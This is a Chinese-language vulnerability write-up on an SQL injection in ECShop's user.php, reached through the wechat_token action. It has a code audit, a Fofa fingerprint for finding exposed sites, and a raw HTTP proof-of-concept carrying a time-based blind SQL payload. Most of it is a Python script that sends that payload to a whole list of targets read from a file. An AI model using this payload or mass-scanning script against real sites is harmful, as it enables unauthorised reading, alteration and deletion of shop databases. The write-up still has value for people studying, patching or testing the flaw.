漏洞介绍

1
2
ShopeX ECShop是中国商派(ShopeX)公司的一个开源商城系统。支持PC+H5+APP+小程序商城,源码免费下载体验,适合企业开发搭建商城。
ECShop存在SQL注入漏洞,该漏洞源于user.php文件缺少对外部输入SQL语句的验证,攻击者可利用该漏洞查看、添加、修改或删除后端数据库中的信息。

影响版本

1
v4.1.19 <= Ecshop

Fofa 指纹

1
body="themes/default/images/ec12.css" && body="themes/default/js/fdjs.json.js" && body="themes/default/js/cxjc0.js"

漏洞复现

白盒审计:
1、在 user.php 文件的,当$action值为wechat_token时,会接收用户输入的请求体并赋值给$callbackXml,$callbackXml会变为数组。

2、接下来会执行call_user_func_array([$event, $method], [$data]); ,其中$method与$data 都是我们可以控制的,需要将$method设置为scan,然后就会调用$event 的 scan 方法参数为$data,接下来我们去看$event 这个类中 scan 方法的定义。

3、这个 scan 会将$data数组中的值传入markLogin方法。在markLogin方法中会直接将$name 拼接到 SQL 语句中导致了 SQL 注入漏洞。

利用 Poc:

1
2
3
4
5
6
7
8
9
GET /user.php?act=wechat_token HTTP/1.1
Host: <host>

<?xml version="1.0"?>
<user>
<Event>scan</Event>
<EventKey>' AND (SELECT 1649 FROM (SELECT(SLEEP(5)))nsIj) AND 'RKvz'='RKvz</EventKey>
<FromUserName>123456</FromUserName>
</user>

漏洞利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
import time
import urllib3
from colorama import Fore, Style, init

# 初始化 colorama
init(autoreset=True)

# 忽略 InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

headers = {
'Accept-Language': 'zh-CN,zh;q=0.9',
'Content-Type': 'application/xml',
}

params = {
'act': 'wechat_token',
}

proxies = {
"http": "http://127.0.0.1:8888",
"https": "http://127.0.0.1:8888"
}

# SQL注入payload
payload = '''<?xml version="1.0"?>
<user>
<Event>scan</Event>
<EventKey>' AND (SELECT 1649 FROM (SELECT(SLEEP(4)))nsIj) AND 'RKvz'='RKvz</EventKey>
<FromUserName>123456</FromUserName>
</user>'''

# 从文件读取目标地址
with open("targets.txt", "r") as f:
targets = f.read().split(",")

targets = [t.strip() for t in targets if t.strip()]
print(f"{Fore.CYAN}开始检测... 共 {len(targets)} 个目标。\n")

results = []
for i, target in enumerate(targets, 1):
target = target.strip()
print(f"{Fore.YELLOW}[{i}/{len(targets)}] 正在测试 {target}...")
target = target + "/user.php"
try:
start_time = time.time()
response = requests.post(target, params=params, headers=headers, data=payload, verify=False, timeout=10)
elapsed_time = time.time() - start_time

if elapsed_time > 4:
print(f"{Fore.RED}[!] {target} 可能存在 SQL 注入漏洞,耗时 {elapsed_time:.2f} 秒")
results.append(target)
else:
print(f"{Fore.GREEN}[-] {target} 暂无异常,耗时 {elapsed_time:.2f} 秒")
except requests.RequestException as e:
print(f"{Fore.MAGENTA}[!] 请求 {target} 出现异常:{e}")

print(f"\n{Fore.CYAN}检测结束,结果如下:\n")
if results:
for item in results:
print(item)
else:
print(f"{Fore.GREEN}未发现明显的 SQL 注入行为。")